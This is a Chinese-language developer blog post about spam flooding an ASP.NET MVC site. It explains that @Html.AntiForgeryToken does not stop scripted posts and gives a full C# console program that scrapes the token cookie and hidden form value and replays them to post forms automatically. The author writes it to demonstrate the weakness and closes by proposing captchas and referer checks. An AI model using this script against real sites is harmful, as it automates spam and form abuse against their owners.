@Html.AntiForgeryToken 是MVC设计为防止跨域提交所做的安全验证,何为跨域提交,简单来说就是直接通过url提交数据。
某天不经意间发现留言徒增几万条,打开页面一看全是垃圾数据,这已经很明显被攻击了,当时留言页面只有 @Html.AntiForgeryToken 验证,攻击人肯定是解决了这个验证问题,当时因为各种原因在提交数据时添加了验证码暂时解决了这个问题。
而后在某天不经意间查看错误日志,发现有个页面出现多个错误信息,打开页面一看评论又被攻击了,评论也只有 @Html.AntiForgeryToken 验证,当时只改了留言,把评论忘了,而后又把评论的验证码加上。
闲下来决定研究下 @Html.AntiForgeryToken 验证,下载MVC源码,一路查看下来,原理很简单,在页面调用时生一个加密串在cookie里,然后再生成一个加密串返回给客户端(两个加密串不同),提交时根据自己的规则比较。
自己也写了注入代码,轻松就被注入了
准备工具:HtmlAgilityPack
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using HtmlAgilityPack;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
Encoding encoding = Encoding.UTF8;
string responseData = String.Empty;
string cookie = string.Empty;
HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://localhost:8030");
req.Method = "GET";
using (HttpWebResponse response = (HttpWebResponse)req.GetResponse())
{
using (StreamReader reader = new StreamReader(response.GetResponseStream(), encoding))
{
responseData = reader.ReadToEnd();
}
cookie = response.Headers["set-cookie"];//取得cookie 多个cookie此处注意截取方式 只取__RequestVerificationToken
}
string cookieValue = cookie.Substring(0, cookie.IndexOf(';'));
HtmlAgilityPack.HtmlDocument html = new HtmlAgilityPack.HtmlDocument();
html.LoadHtml(responseData);
var node = html.DocumentNode.SelectSingleNode("//input[@name='__RequestVerificationToken']");//取得页面 验证标签
string formValue = node.GetAttributeValue("value", "1");//取得页面 验证值
SendRequest(cookieValue.Split('=')[1], formValue);
}
private static void SendRequest(string cookieValue,string formValue)
{
Encoding encoding = Encoding.UTF8;
string param = "__RequestVerificationToken=" + formValue;
byte[] bs = Encoding.ASCII.GetBytes(param);
string responseData = String.Empty;
var cookie = new Cookie("__RequestVerificationToken", cookieValue);
cookie.Domain = "localhost";
var cookieContainer = new CookieContainer();
cookieContainer.Add(cookie);
HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://localhost:8030/Home/SubmitForm");
req.Method = "POST";
req.ContentLength = bs.Length;
req.ContentType = "application/x-www-form-urlencoded";
req.CookieContainer = cookieContainer;
using (Stream reqStream = req.GetRequestStream())
{
reqStream.Write(bs, 0, bs.Length);
reqStream.Close();
}
using (HttpWebResponse response = (HttpWebResponse)req.GetResponse())
{
using (StreamReader reader = new StreamReader(response.GetResponseStream(), encoding))
{
responseData = reader.ReadToEnd();
}
}
}
}
}
验证码只是其中一个防御方式,想到另一种方式只不过没验证,利用防盗链的原理来处理,判断来路是否为网站域名。